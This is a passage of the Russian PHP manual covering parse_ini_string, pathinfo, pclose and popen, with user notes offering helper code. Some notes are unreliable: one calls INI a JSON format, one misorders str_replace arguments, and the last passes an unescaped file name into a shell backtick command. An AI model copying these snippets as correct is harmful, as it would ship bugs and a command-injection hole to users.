This function for save ini files

<?php
function array_to_ini($array,$out="")
{
    $t="";
    $q=false;
    foreach($array as $c=>$d)
    {
        if(is_array($d))$t.=array_to_ini($d,$c);
        else
        {
            if($c===intval($c))
            {
                if(!empty($out))
                {
                    $t.="\r\n".$out." = \"".$d."\"";
                    if($q!=2)$q=true;
                }
                else $t.="\r\n".$d;
            }
            else
            {
                $t.="\r\n".$c." = \"".$d."\"";
                $q=2;
            }
        }
    }
    if($q!=true && !empty($out)) return "[".$out."]\r\n".$t;
    if(!empty($out)) return  $t;
    return trim($t);
}

function save_ini_file($array,$file)
{
    $a=array_to_ini($array);
    $ffl=fopen($file,"w");
    fwrite($ffl,$a);
    fclose($ffl);
}
?>
dschnepper at box dot com 09-Mar-2016 09:21
The documentation states:
Characters ?{}|&~!()^" must not be used anywhere in the key and have a special meaning in the value.

Here's the results of my experiments on what they mean:

; | is used for bitwise OR
three = 2|3

; & is used for bitwise AND
four = 6&5

; ^ is used for bitwise XOR
five = 3^6

; ~ is used for bitwise negate
negative_two = ~1

; () is used for grouping
seven = (8|7)&(6|5)

; ${...} is used for grabbing values from the environment, or previously defined values.
path = ${PATH}
also = ${five}

; ? I have no guess for
; ! I have no guess for
jbricci at ya-right dot com 15-Oct-2015 06:39
This core function won't handle ini key[][] = value(s), (multidimensional arrays), so if you need to support that kind of setup you will need to write your own function. one way to do it is to convert all the key = value(s) to array string [key][][]=value(s), then use parse_str() to convert all those [key][][]=value(s) that way you just read the ini file line by line, instead of doing crazy foreach() loops to handle those (multidimensional arrays) in each section, example...

ini file...... config.php

<?php

; This is a sample configuration file
; Comments start with ';', as in php.ini

[first_section]
one = 1
five = 5
animal = BIRD

[second_section]
path = "/usr/local/bin"
URL = "http://www.example.com/~username"

[third_section]
phpversion[] = "5.0"
phpversion[] = "5.1"
phpversion[] = "5.2"
phpversion[] = "5.3"

urls[svn] = "http://svn.php.net"
urls[git] = "http://git.php.net"

[fourth_section]

a[][][] = b
a[][][][] = c
a[test_test][][] = d
test[one][two][three] = true

?>

echo parse_ini_file ( "C:\\services\\www\\docs\\config.php" );

results in...

// PHP Warning:  syntax error, unexpected TC_SECTION, expecting '=' line 27 -> a[][][] = b

Here it simple function that handles (multidimensional arrays) without looping each key[][]= value(s)

<?php

function getIni ( $file, $sections = FALSE )
{
    $return = array ();

    $keeper = array ();

    $config = fopen ( $file, 'r' );

    while ( ! feof ( $config ) )
    {
        $line = trim ( fgets ( $config, 1024 ) );

        $line = ( $line == '' ) ? ' ' : $line;

        switch ( $line{0} )
        {
            case ' ':
            case '#':
            case '/':
            case ';':
            case '<':
            case '?':

            break;

            case '[':

            if ( $sections )
            {
                $header = 'config[' . trim ( substr ( $line, 1, -1 ) ) . ']';
            }
            else
            {
                $header = 'config';
            }

            break;

            default:

            $kv = array_map ( 'trim', explode ( '=', $line ) );

            $kv[0] = str_replace ( ' ', '+', $kv[0] );

            $kv[1] = str_replace ( ' ', '+', $kv[1] );

            if ( ( $pos = strpos ( $kv[0], '[' ) ) !== FALSE )
            {
                $kv[0] = '[' . substr ( $kv[0], 0, $pos ) . ']' . substr ( $kv[0], $pos );
            }
            else
            {
                $kv[0] = '[' . $kv[0] . ']';
            }

            $bt = strtolower ( $kv[1] );

            if ( in_array ( $bt, array ( 'true', 'false', 'on', 'off' ) ) )
            {
                $kv[1] = ( $bt == 'true' || $bt == 'on' ) ? TRUE : FALSE;
            }

            $keeper[] = $header . $kv[0] . '=' . $kv[1];
        }
    }

    fclose ( $config );

    parse_str ( implode ( '&', $keeper ), $return );

    return $return['config'];
}

// usage...

$sections = TRUE;

print_r ( $config->getIni ( "C:\\services\\www\\docs\\config.php" ),  $sections );

?>
Rekam 13-Apr-2014 09:59
You may want, in some very special cases, to parse multi-dimensional array with N levels in your ini file. Something like setting[data][config][debug] = true will result in an error (expected "=").

Here's a little function to match this, using dots (customizable).
<?php
function parse_ini_file_multi($file, $process_sections = false, $scanner_mode = INI_SCANNER_NORMAL) {
    $explode_str = '.';
    $escape_char = "'";
    // load ini file the normal way
    $data = parse_ini_file($file, $process_sections, $scanner_mode);
    if (!$process_sections) {
        $data = array($data);
    }
    foreach ($data as $section_key => $section) {
        // loop inside the section
        foreach ($section as $key => $value) {
            if (strpos($key, $explode_str)) {
                if (substr($key, 0, 1) !== $escape_char) {
                    // key has a dot. Explode on it, then parse each subkeys
                    // and set value at the right place thanks to references
                    $sub_keys = explode($explode_str, $key);
                    $subs =& $data[$section_key];
                    foreach ($sub_keys as $sub_key) {
                        if (!isset($subs[$sub_key])) {
                            $subs[$sub_key] = [];
                        }
                        $subs =& $subs[$sub_key];
                    }
                    // set the value at the right place
                    $subs = $value;
                    // unset the dotted key, we don't need it anymore
                    unset($data[$section_key][$key]);
                }
                // we have escaped the key, so we keep dots as they are
                else {
                    $new_key = trim($key, $escape_char);
                    $data[$section_key][$new_key] = $value;
                    unset($data[$section_key][$key]);
                }
            }
        }
    }
    if (!$process_sections) {
        $data = $data[0];
    }
    return $data;
}
?>

The following file:
<?php
/*
[normal]
foo = bar
; use quotes to keep your key as it is
'foo.with.dots' = true

[array]
foo[] = 1
foo[] = 2

[dictionary]
foo[debug] = false
foo[path] = /some/path

[multi]
foo.data.config.debug = true
foo.data.password = 123456
*/
?>

will result in:
<?php
parse_ini_file_multi('file.ini', true);

Array
(
    [normal] => Array
        (
            [foo] => bar
            [foo.with.dots] => 1
        )
    [array] => Array
        (
            [foo] => Array
                (
                    [0] => 1
                    [1] => 2
                )
        )
    [dictionary] => Array
        (
            [foo] => Array
                (
                    [debug] =>
                    [path] => /some/path
                )
        )
    [multi] => Array
        (
            [foo] => Array
                (
                    [data] => Array
                        (
                            [config] => Array
                                (
                                    [debug] => 1
                                )
                            [password] => 123456
                        )
                )
        )
)
?>
simon dot riget at gmail dot com 21-Feb-2013 07:23
.ini files or JSON file format as it is also known as, are very useful format to store stuff in. Especially large arrays.

Strangely enough there is this nice function to read the file, but no function to write it.

So here is one.

Use it as:  put_ini_file(string $file, array $array)

<?php
function put_ini_file($file, $array, $i = 0){
  $str="";
  foreach ($array as $k => $v){
    if (is_array($v)){
      $str.=str_repeat(" ",$i*2)."[$k]".PHP_EOL;
      $str.=put_ini_file("",$v, $i+1);
    }else
      $str.=str_repeat(" ",$i*2)."$k = $v".PHP_EOL;
  }
 if($file)
    return file_put_contents($file,$str);
  else
    return $str;
}
?>
jeremygiberson at gmail dot com 30-Apr-2009 04:01
Here is a quick parse_ini_file wrapper to add extend support to save typing and redundancy.
<?php
    /**
     * Parses INI file adding extends functionality via ":base" postfix on namespace.
     *
     * @param string $filename
     * @return array
     */
    function parse_ini_file_extended($filename) {
        $p_ini = parse_ini_file($filename, true);
        $config = array();
        foreach($p_ini as $namespace => $properties){
            list($name, $extends) = explode(':', $namespace);
            $name = trim($name);
            $extends = trim($extends);
            // create namespace if necessary
            if(!isset($config[$name])) $config[$name] = array();
            // inherit base namespace
            if(isset($p_ini[$extends])){
                foreach($p_ini[$extends] as $prop => $val)
                    $config[$name][$prop] = $val;
            }
            // overwrite / set current namespace values
            foreach($properties as $prop => $val)
            $config[$name][$prop] = $val;
        }
        return $config;
    }
?>

Treats this ini:
<?php
/*
[base]
host=localhost
user=testuser
pass=testpass
database=default

[users:base]
database=users

[archive : base]
database=archive
*/
?>
As if it were like this:
<?php
/*
[base]
host=localhost
user=testuser
pass=testpass
database=default

[users:base]
host=localhost
user=testuser
pass=testpass
database=users

[archive : base]
host=localhost
user=testuser
pass=testpass
database=archive
*/
?>
goulven.ch AT gmail DOT com 29-Oct-2007 06:33
Warning: parse_ini_files cannot cope with values containing the equal sign (=).

The following function supports sections, comments, arrays, and key-value pairs outside of any section.
Beware that similar keys will overwrite one another (unless in different sections).

<?php
function parse_ini ( $filepath ) {
    $ini = file( $filepath );
    if ( count( $ini ) == 0 ) { return array(); }
    $sections = array();
    $values = array();
    $globals = array();
    $i = 0;
    foreach( $ini as $line ){
        $line = trim( $line );
        // Comments
        if ( $line == '' || $line{0} == ';' ) { continue; }
        // Sections
        if ( $line{0} == '[' ) {
            $sections[] = substr( $line, 1, -1 );
            $i++;
            continue;
        }
        // Key-value pair
        list( $key, $value ) = explode( '=', $line, 2 );
        $key = trim( $key );
        $value = trim( $value );
        if ( $i == 0 ) {
            // Array values
            if ( substr( $line, -1, 2 ) == '[]' ) {
                $globals[ $key ][] = $value;
            } else {
                $globals[ $key ] = $value;
            }
        } else {
            // Array values
            if ( substr( $line, -1, 2 ) == '[]' ) {
                $values[ $i - 1 ][ $key ][] = $value;
            } else {
                $values[ $i - 1 ][ $key ] = $value;
            }
        }
    }
    for( $j=0; $j<$i; $j++ ) {
        $result[ $sections[ $j ] ] = $values[ $j ];
    }
    return $result + $globals;
}
?>

Example usage:
<?php
$stores = parse_ini('stores.ini');
print_r( $stores );
?>

An example ini file:
<?php
/*
;Commented line start with ';'
global_value1 = a string value
global_value1 = another string value

; empty lines are discarded
[Section1]
key = value
; whitespace around keys and values is discarded too
otherkey=other value
otherkey=yet another value
; this key-value pair will overwrite the former.
*/
?>
Justin Hall 31-Oct-2006 11:46
This is a simple (but slightly hackish) way of avoiding the character limitations (in values):

<?php
define('QUOTE', '"');
$test = parse_ini_file('test.ini');

echo "<pre>";
print_r($test);
?>

contents of test.ini:

park yesterday = "I (walked) | {to} " QUOTE"the"QUOTE " park yesterday & saw ~three~ dogs!"

output:

<?php
Array
(
    [park yesterday] => I (walked) | {to} "the" park yesterday & saw ~three~ dogs!
)
?>
kieran dot huggins at rogers dot com 07-Jan-2003 10:24
Just a quick note for all those running into trouble escaping double quotes:

I got around this by "base64_encode()"-ing my content on the way in to the ini file, and "base64_decode()"-ing on the way out.

Because base64 uses the "=" sign, you will have to encapsulate the entire value in double quotes so the line looks like this:

    varname = "TmlhZ2FyYSBGYWxscywgT04="

When base64'd, your strings will retain all \n, \t...etc...  URL's retain everything perfectly :-)

I hope some of you find this useful!

Cheers, Kieran


Разбирает строку конфигурации

  • « parse_ini_file
  • pathinfo »
  • PHP Manual
  • Функции файловой системы
  • Разбирает строку конфигурации

parse_ini_string

(PHP 5 >= 5.3.0, PHP 7, PHP 8)

parse_ini_string — Разбирает строку конфигурации

Описание

parse_ini_string(string $ini_string, bool $process_sections = false, int $scanner_mode = INI_SCANNER_NORMAL): array|false

parse_ini_string() возвращает настройки из строки ini_string в виде ассоциативного массива.

Структура INI-строки такая же, как и в php.ini.

Список параметров

ini_string

Содержимое разбираемого INI-файла.

process_sections

Установив в параметр process_sections true, можно получить многомерный массив, который включает названия секций и настроек. По умолчанию process_sections равен false

scanner_mode

Может принимать следующие значения: INI_SCANNER_NORMAL (по умолчанию) или INI_SCANNER_RAW. Если указано значение INI_SCANNER_RAW, то значения опций не будут обрабатываться.

С версии PHP 5.6.1 также можно задать INI_SCANNER_TYPED. В этом режиме типы boolean, null и integer будут, по возможности, сохраняться. Строковые значения "true", "on" и "yes" будут преобразованы в true. "false", "off", "no" и "none" в false. "null" преобразуется в null. Кроме этого, все числовые строки будут, по возможности, преобразованы к целым числам.

Возвращаемые значения

В случае успешного выполнения, настройки возвращаются в виде ассоциативного массива (array). В случае возникновения ошибки, возвращается false.

Примечания

Замечание: Существует зарезервированные слова, которые нельзя использовать в качестве ключей в ini-файлах. Такими словами являются: null, yes, no, true, false, on, off, none. Значения null, off, no и false преобразуются в "", а значения on, yes и true в "1" , но только если не используется режим INI_SCANNER_TYPED (доступен с PHP 5.6.1). Символы ?{}|&~!()^" не должны использоваться в ключах и иметь какой-либо особый смысл в значениях.

Смотрите также

  • parse_ini_file() - Обрабатывает конфигурационный файл

User Contributed Notes

msegit post pl 27-Jun-2018 07:43
With function parse_ini_stringM() below you can:
- fix unvalued fields ('key' (invalid) ==> 'key=' (OK) )
- fix unquotted values with equal sign '=' ('key=value_part1=value_part2' ==> 'key="value_part1=value_part2"')
- fix (solve) multidimensional arrays (makes 'key[key1][key2]=value' valid)

function parse_ini_stringM() on github https://gist.github.com/msegu/c43a871c5a874a1d9bff978b448a0aa4 (here is too long)

// Example:

$ini = '[a]
b
c=d
e=';

var_export(parse_ini_string($ini, TRUE)); /* array (
  'a' =>
  array (
    'c' => 'd',
    'e' => '',
  ),
)
*/

$ini .= '
f[g][2]=h
f[g][i]=j
f[g][][]=k
m=n=o';

var_export(parse_ini_string($ini, TRUE)); // false

var_export(parse_ini_stringM($ini, TRUE)); /* array (
  'a' =>
  array (
    'b' => '',
    'c' => 'd',
    'e' => '',
    'f' =>
    array (
      'g' =>
      array (
        2 => 'h',
        'i' => 'j',
        3 =>
        array (
          0 => 'k',
        ),
      ),
    ),
    'm' => 'n=o',
  ),
)
*/
Peter Baylies 31-Oct-2013 07:34
Replacement for php_ini_string() for PHP pre 5.3 - uses php_ini_file() and streams

<?php
if ( !function_exists( 'parse_ini_string' ) ) {
    function parse_ini_string( $string, $process_sections ) {
        if ( !class_exists( 'parse_ini_filter' ) ) {
            /* Define our filter class */
            class parse_ini_filter extends php_user_filter {
                static $buf = '';
                function filter( $in, $out, &$consumed, $closing ) {
                    $bucket = stream_bucket_new( fopen('php://memory', 'wb'), self::$buf );
                    stream_bucket_append( $out, $bucket );
                    return PSFS_PASS_ON;
                }
            }
            /* Register our filter with PHP */
            stream_filter_register("parse_ini", "parse_ini_filter")
            or return false;
        }
        parse_ini_filter::$buf = $string;
        return parse_ini_file( "php://filter/read=parse_ini/resource=php://memory", $process_sections );
    }
}
?>
epicmaxim at gmail dot com 04-Apr-2013 07:51
parse_ini_string_m is analog for a parse_ini_string function.

had to code this function due to the lack of a php 5.3 on some hosting.

parse_ini_string_m:
- ignores commented lines that start with ";" or "#"
- ignores broken lines that do not have "="
- supports array values and array value keys

<?php
function parse_ini_string_m($str) {

    if(empty($str)) return false;

    $lines = explode("\n", $str);
    $ret = Array();
    $inside_section = false;

    foreach($lines as $line) {

        $line = trim($line);

        if(!$line || $line[0] == "#" || $line[0] == ";") continue;

        if($line[0] == "[" &amp;&amp; $endIdx = strpos($line, "]")){
            $inside_section = substr($line, 1, $endIdx-1);
            continue;
        }

        if(!strpos($line, '=')) continue;

        $tmp = explode("=", $line, 2);

        if($inside_section) {

            $key = rtrim($tmp[0]);
            $value = ltrim($tmp[1]);

            if(preg_match("/^\".*\"$/", $value) || preg_match("/^'.*'$/", $value)) {
                $value = mb_substr($value, 1, mb_strlen($value) - 2);
            }

            $t = preg_match("^\[(.*?)\]^", $key, $matches);
            if(!empty($matches) &amp;&amp; isset($matches[0])) {

                $arr_name = preg_replace('#\[(.*?)\]#is', '', $key);

                if(!isset($ret[$inside_section][$arr_name]) || !is_array($ret[$inside_section][$arr_name])) {
                    $ret[$inside_section][$arr_name] = array();
                }

                if(isset($matches[1]) &amp;&amp; !empty($matches[1])) {
                    $ret[$inside_section][$arr_name][$matches[1]] = $value;
                } else {
                    $ret[$inside_section][$arr_name][] = $value;
                }

            } else {
                $ret[$inside_section][trim($tmp[0])] = $value;
            }

        } else {

            $ret[trim($tmp[0])] = ltrim($tmp[1]);

        }
    }
    return $ret;
}
?>

example usage:

<?php
$ini = '

    [simple]
    val_one = "some value"
    val_two = 567

    [array]
    val_arr[] = "arr_elem_one"
    val_arr[] = "arr_elem_two"
    val_arr[] = "arr_elem_three"

    [array_keys]
    val_arr_two[6] = "key_6"
    val_arr_two[some_key] = "some_key_value"

';

$arr = parse_ini_string_m($ini);
?>

variable $arr output:

Array
(
    [simple] => Array
    (
        [val_one] => some value
        [val_two] => 567
    )

    [array] => Array
    (
        [val_arr] => Array
        (
            [0] => arr_elem_one
            [1] => arr_elem_two
            [2] => arr_elem_three
        )
    )

    [array_keys] => Array
    (
        [val_arr_two] => Array
        (
            [6] => key_6
            [some_key] => some_key_value
        )

    )

)


Возвращает информацию о пути к файлу

  • « parse_ini_string
  • pclose »
  • PHP Manual
  • Функции файловой системы
  • Возвращает информацию о пути к файлу

pathinfo

(PHP 4 >= 4.0.3, PHP 5, PHP 7, PHP 8)

pathinfo — Возвращает информацию о пути к файлу

Описание

pathinfo(string $path, int $flags = PATHINFO_ALL): array|string

pathinfo() возвращает информацию о path в виде ассоциативного массива или строки, в зависимости от flags.

Замечание:

Подробнее о получении информации о текущем пути, можно почитать в разделе Предопределённые зарезервированные переменные.

Замечание:

pathinfo() оперирует входной строкой и не знает фактическую файловую систему или компоненты пути, такие как "..".

Замечание:

Только в системах Windows символ \ будет интерпретироваться как разделитель каталогов. В других системах он будет рассматриваться как любой другой символ.

Предостережение

pathinfo() учитывает настройки локали, поэтому для корректной обработки пути с многобайтными символами должна быть установлена соответствующая локаль с помощью функции setlocale().

Список параметров

path

Анализируемый путь.

flags

Если указан, то задаёт, какой из элементов пути будет возвращён: PATHINFO_DIRNAME, PATHINFO_BASENAME, PATHINFO_EXTENSION и PATHINFO_FILENAME.

Если flags не указан, то возвращаются все доступные элементы.

Возвращаемые значения

Если параметр flags не передан, то возвращаемый ассоциативный массив (array) будет содержать следующие элементы: dirname, basename, extension (если есть) и filename.

Замечание:

Если path содержит больше одного расширения, то PATHINFO_EXTENSION возвращает только последний и PATHINFO_FILENAME удаляет только последнее расширение. (смотрите пример ниже).

Замечание:

Если path не содержит расширения, то не будет возвращён элемент extension (смотрите ниже второй пример).

Замечание:

Если basename параметра path начинается с точки, то все последующие символы интерпретируются как расширение файла (extension) и имя файла filename будет пустым (смотрите третий пример).

Если указан параметр flags, будет возвращена строка (string), содержащая указанный элемент.

Примеры

Пример #1 Пример использования функции pathinfo()

<?php
$path_parts = pathinfo('/www/htdocs/inc/lib.inc.php');

echo $path_parts['dirname'], "\n";
echo $path_parts['basename'], "\n";
echo $path_parts['extension'], "\n";
echo $path_parts['filename'], "\n";
?>

Результат выполнения данного примера:

/www/htdocs/inc
lib.inc.php
php
lib.inc

Пример #2 Пример с pathinfo(), показывающий разницу между null и отсутствием расширения

<?php
$path_parts = pathinfo('/path/emptyextension.');
var_dump($path_parts['extension']);

$path_parts = pathinfo('/path/noextension');
var_dump($path_parts['extension']);
?>

Результатом выполнения данного примера будет что-то подобное:

string(0) ""

Notice: Undefined index: extension in test.php on line 6
NULL

Пример #3 Пример pathinfo() для файла, начинающегося с точки

<?php
print_r(pathinfo('/some/path/.test'));
?>

Результатом выполнения данного примера будет что-то подобное:

Array
(
    [dirname] => /some/path
    [basename] => .test
    [extension] => test
    [filename] =>
)

Пример #4 Пример использования pathinfo() с разыменованием массива

Параметр flags не является битовой маской. Может быть предоставлено только одно значение. Чтобы выбрать только ограниченный набор разобранных значений, используйте деструктуризацию массива следующим образом:

<?php
['basename' => $basename, 'dirname' => $dirname] = pathinfo('/www/htdocs/inc/lib.inc.php');

var_dump($basename, $dirname);
?>

Результатом выполнения данного примера будет что-то подобное:

string(11) "lib.inc.php"
string(15) "/www/htdocs/inc"

Смотрите также

  • dirname() - Возвращает имя родительского каталога из указанного пути
  • basename() - Возвращает последний компонент имени из указанного пути
  • parse_url() - Разбирает URL и возвращает его компоненты
  • realpath() - Возвращает канонизированный абсолютный путь к файлу

User Contributed Notes

urvi 29-Jul-2022 11:05
about the path, there are one thing you should note :
On Windows, both slash (/) and backslash (\) are used as directory separator character. In other environments, it is the forward slash (/).  (this explain is from basename() function part https://www.php.net/manual/en/function.basename.php)
example:
<?php
$path = "https://urvidutta.com /a\b\c\filename.pdf";

echo pathinfo($pdfUrl, PATHINFO_BASENAME);  //get basename
//output
//on window:  result is filename.pdf
//on Linux: result is a\b\c\filename.pdf (that is may not your expect)

//so in order to get same result in different system.  i will do below first.
$path = str_replace($path, '\\', '/'); //convert '\'  to '/'
?>
Lori 21-Sep-2018 01:40
Simple example of pathinfo and array destructuring in PHP 7:
<?php
[ 'basename' => $basename, 'dirname' => $dirname ] = pathinfo('/www/htdocs/inc/lib.inc.php');

var_dump($basename, $dirname);

// result:
// string(11) "lib.inc.php"
// string(15) "/www/htdocs/inc"
?>
Pietro Baricco 10-Feb-2012 04:00
Use this function in place of pathinfo to make it work with UTF-8 encoded file names too

<?php
function mb_pathinfo($filepath) {
    preg_match('%^(.*?)[\\\\/]*(([^/\\\\]*?)(\.([^\.\\\\/]+?)|))[\\\\/\.]*$%im',$filepath,$m);
    if($m[1]) $ret['dirname']=$m[1];
    if($m[2]) $ret['basename']=$m[2];
    if($m[5]) $ret['extension']=$m[5];
    if($m[3]) $ret['filename']=$m[3];
    return $ret;
}
?>
n0dalus 08-Feb-2005 01:47
If a file has more than one 'file extension' (seperated by periods), the last one will be returned.
For example:
<?php
$pathinfo = pathinfo('/dir/test.tar.gz');
echo 'Extension: '.$pathinfo['extension'];
?>
will produce:
Extension: gz

and not tar.gz


Закрывает файловый указатель процесса

  • « pathinfo
  • popen »
  • PHP Manual
  • Функции файловой системы
  • Закрывает файловый указатель процесса

pclose

(PHP 4, PHP 5, PHP 7, PHP 8)

pclose — Закрывает файловый указатель процесса

Описание

pclose(resource $handle): int

Закрывает файловый указатель на поток, открытый при помощи popen().

Список параметров

handle

Файловый указатель должен быть действующим и должен быть получен успешным вызовом функции popen().

Возвращаемые значения

Возвращает статус выхода завершающегося процесса. В случае возникновения ошибки возвращается -1.

Замечание:

Если PHP собран с опцией --enable-sigchild, возвращаемое значение этой функции не определено.

Примеры

Пример #1 Пример использования pclose()

<?php
$handle = popen('/bin/ls', 'r');
pclose($handle);
?>

Примечания

Замечание: Только для Unix:

pclose() внутренне реализована с помощью системного вызова waitpid(3). Для получения реального кода выхода используйте вместо этого функцию pcntl_wexitstatus().

Смотрите также

  • popen() - Открывает файловый указатель процесса

User Contributed Notes

Uwe Ohse 03-Sep-2015 11:17
Regarding the return value:
"Returns the termination status of the process that was run. In case of an error then -1 is returned. "
and the note about the exit status: "pclose() is internally implemented using the waitpid(3) system call. To obtain the real exit status code the pcntl_wexitstatus() function should be used."

The documentation of the return value is, at best, misleading. The function returns, as does proc_close():
* -1 on error,
* WEXITSTATUS(status) if WIFEXITED(status) is true, or
* status if WIFEXITED(status) is false,
where status is the status parameter of waitpid().

This makes it impossible to differentiate between a relatively normal exit or a termination by signal, and reduces the value of the proc_close return code to a binary one (ok / something broke).

This can be seen in proc_open_rsrc_dtor() in ext/standard/proc_open.c (PHP 5.4.44, 5.6.12).

The note advising the use of pcntl_wexitstatus is plain wrong. One cannot use pcntl_wexitstatus because it already has been used.
Mike 06-Apr-2008 11:55
The termination status, as pointed out in another note, is not the same as the exit status from the process. However, something like "pclose($fp)/256" is not the correct way to extract the exit status, since this uses system- and version-specific knowledge of where in the termination status the exit status is stored. (Also, the process may not even have exited normally, so it may not have an exit status at all.)

Instead, the functions pcntl_wifexited() and pcntl_wexitstatus() should be used. They are wrappers for the C macros WIFEXITED() and WEXITSTATUS() that are designed for determining whether the process had an exit status and what that status was, respectively.
kcross at nssolutions dot com 16-Jul-2003 02:08
Somewhere between 4.1.1 and 4.2.3, the return value from pclose changed.

The exit status used to be in the second byte, so that the status would be (pclose($fp)/256).

It is now in the low-order byte, so the status is just pclose($fp).

Be careful.
vdweij at mailsurf dot com 12-Mar-2003 07:18
As I understand pclose will return 0 (on every platform) in case popen could not execute the specified command.

Since popen only returns the status wether it was able to send a command and not wether it was succesfully executed. Only the returned value of pclose can be used to check wether a command could be executed.


Открывает файловый указатель процесса

  • « pclose
  • readfile »
  • PHP Manual
  • Функции файловой системы
  • Открывает файловый указатель процесса

popen

(PHP 4, PHP 5, PHP 7, PHP 8)

popen — Открывает файловый указатель процесса

Описание

popen(string $command, string $mode): resource|false

Открывает поток к процессу, выполняемый при помощи форка команды, заданной в параметре command.

Список параметров

command

Команда

mode

Режим. Либо 'r' для чтения, либо 'w' для записи.

В Windows для popen() по умолчанию используется текстовый режим, т.е. любые символы \n, записанные в канал или прочитанные из него, будут преобразованы в \r\n. Если это нежелательно, можно принудительно использовать двоичный режим, установив для mode значение 'rb' и 'wb' соответственно.

Возвращаемые значения

Возвращает файловый указатель, идентичный возвращаемому функцией fopen(), за исключением того, что он односторонний (может быть использован только для чтения или записи) и должен быть закрыт при помощи pclose(). Этот указатель может быть использован с fgets(), fgetss() и fwrite(). Если в качестве режима указано 'r', файловый указатель аналогичен потоку вывода (STDOUT) команды, если же указано 'w', то файловый указатель аналогичен потоку ввода (STDIN) команды.

В случае возникновения ошибки возвращает false.

Примеры

Пример #1 Пример использования функции popen()

<?php
$handle = popen("/bin/ls", "r");
?>

Если команда для выполнения не может быть найдена, будет возвращён корректный ресурс. Это может выглядеть странно, но имеет смысл; это даёт вам возможность получить доступ к любому сообщению об ошибке, которое вернёт оболочка:

Пример #2 Пример использования функции popen()

<?php
error_reporting(E_ALL);

/* Добавляем перенаправление, чтобы прочитать stderr. */
$handle = popen('/path/to/executable 2>&1', 'r');
echo "'$handle'; " . gettype($handle) . "\n";
$read = fread($handle, 2096);
echo $read;
pclose($handle);
?>

Примечания

Замечание:

Если вам нужна двухсторонняя передача (в обе стороны одновременно), используйте proc_open().

Смотрите также

  • pclose() - Закрывает файловый указатель процесса
  • fopen() - Открывает файл или URL
  • proc_open() - Выполнить команду и открыть указатель на файл для ввода/вывода

User Contributed Notes

antman3351 17-Sep-2021 09:20
Note for Windows users using popen with start to run an external script without having php wait.

e.g.:
pclose( popen(  'start /b php someLongScript.php *> nul', 'rb' ) );

If start can't find the exe it will open a popup message and pclose hangs until the popup is closed.
erco at seriss dot com 01-Oct-2018 10:21
Another workaround for using popen() with "w" mode so that the stdout of the command reaches the browser:

An easy solution is to have two php scripts; "real.php" with the popen($cmd, "w") command in it, the other being "wrapper.php", a one liner that simply invokes system("php real.php");

Invoking "wrapper.php" from the browser allows the popen($cmd,"w") in "real.php" to work as expected, such that stdout of $cmd reaches the browser. If you try to skip the wrapper and just run "real.php", stdout of $cmd is lost to /dev/null.
jlh 10-Aug-2016 07:20
Don't expect this function to return false when the executable doesn't exist in the first place. A stream will be opened anyway but nothing can be read from it. An error similar to "sh: 1: asdfasdfasdf: not found" will be printed to STDERR.

Solution 1: Look at the return value of pclose(), it will be the exit status of the shell that runs the command. On Linux it will be 127 if the executable wasn't found. Otherwise it's the exit status of the executable itself.

Solution 2: Use proc_open() instead, which allows to also capture STDERR and then parse it for errors.

You probably should do both.
anonymous at anon dot com 25-Mar-2015 10:28
As a side note to the code provided by anonymous at anon dot com:

  $cmd = "php longscript.php";

  function execInBackground($cmd) {
    if (substr(php_uname(), 0, 7) == "Windows"){
        pclose(popen("start /B ". $cmd, "r"));
    } else {
        exec($cmd . " > /dev/null &");
    }
  }

I had a problem where Windows would close the call too fast before the entire script was interpreted, but I didn't want my main script to hang until it would be fully loaded.

As a workaround, I called a tiny .php script which would then call the larger script.

myfile.php:
<?php
  $cmd = "php timewrapper.php";

  function execInBackground($cmd) {
    if (substr(php_uname(), 0, 7) == "Windows"){
        pclose(popen("start /B ". $cmd, "r"));
    } else {
        exec($cmd . " > /dev/null &");
    }
  }
?>

timewrapper.php:
<?php
  $cmd = "php longscript.php";
  $timer = popen("start /B ". $cmd, "r");
  sleep(30);
  pclose($timer);
?>

This way my main script would continue to run without having to pause, while the tiny script pauses while it loads the larger file.
anonymous at anon dot com 08-Feb-2011 01:39
If, on windows, you need to start a batch file that needs administrator privileges, then you can make a shortcut to the batch file, click properties, check to on "run as administrator" on one of the property pages, and then double-click the shortcut once (to initialize that "run as administrator" business).

using popen("/path/to/shortcut.lnk") will then run your batch file with administrator privileges.

handy for when you want to use cli php to do some long running tasks and that php-cli needs to use sessions..
mrjake2 06-Sep-2010 04:08
If you are running in a chroot'ed environment on Debian "Squeeze", this command won't work; there is a problem with the kernel code that popen() eventually calls.

Note that pecl makes heavy use of this command, so if you are running in this environment you will need to install the pecl extension from source instead.
hacklor [AT] NOSPAM [DOT] com 19-Apr-2010 09:03
There is a simple way to start a process in the background but still find out what the process result is. I combined the information from some users below with some of my own coming up with the following:

<?php
$bat_filename = "C:\\my_bat_file.bat";
$bat_log_filename = "C:\\my_bat_file_bat.log";
$bat_file = fopen($bat_filename, "w");
if($bat_file) {
    fwrite($bat_file, "@echo off"."\n");
    fwrite($bat_file, "echo Starting proces >> ".$bat_log_filename."\n");
    fwrite($bat_file, "php c:\\my_php_process.php >> ".$bat_log_filename."\n");
    fwrite($bat_file, "echo End proces >> ".$bat_log_filename."\n");
    fwrite($bat_file, "EXIT"."\n");
    fclose($bat_file);
}

//
// Start the process in the background
//
$exe = "start /b ".$bat_filename;
if( pclose(popen($exe, 'r')) ) {
    return true;
}
return false;
?>

In my case the file names of the .bat and .log files weren't always the same, so I needed a dynamic way to create the .bat file. The output from the php command is saved to the log file with the >> command. All prints and errors are stored there. At a later time you can open the log file and see what happened.
php at keithtyler dot net 20-Jan-2010 06:26
Note that you *have* to do a read on the handle before you can feof(), even if the command outputs nothing! So..

<?php
$f=popen("sleep 2","r");
while (!feof($f)) {}
pclose($f);
print "done";
?>

will never finish.
webmaster at php-idee dot de 23-Jul-2009 06:36
If you try to execute a command under Windows the PHP script normally waits until the process has been terminated. Executing long-term processes pauses a PHP script even if you don't want to wait for the end of the process.

It wasn't easy to find this beautiful example how to start a process under Windows without waiting for its termination:

<?php
$commandString = 'start /b c:\\programToRun.exe -attachment "c:\\temp\file1.txt"';
pclose(popen($commandString, 'r'));
?>
Marbug at gmail dot com 03-Feb-2009 03:43
If you want to download files from a linux server with a filesize bigger than 2GB you can use the following:

<?php
function serveFile( $file , $as ){
    header( 'Expires: Mon, 1 Apr 1974 05:00:00 GMT' );
    header( 'Pragma: no-cache' );
    header( 'Cache-Control: must-revalidate, post-check=0, pre-check=0' );
    header( 'Content-Description: File Download' );
    header( 'Content-Type: application/octet-stream' );
    header( 'Content-Length: '.trim(`stat -c%s "$file"`) );
    header( 'Content-Disposition: attachment; filename="'. $as .'"' );
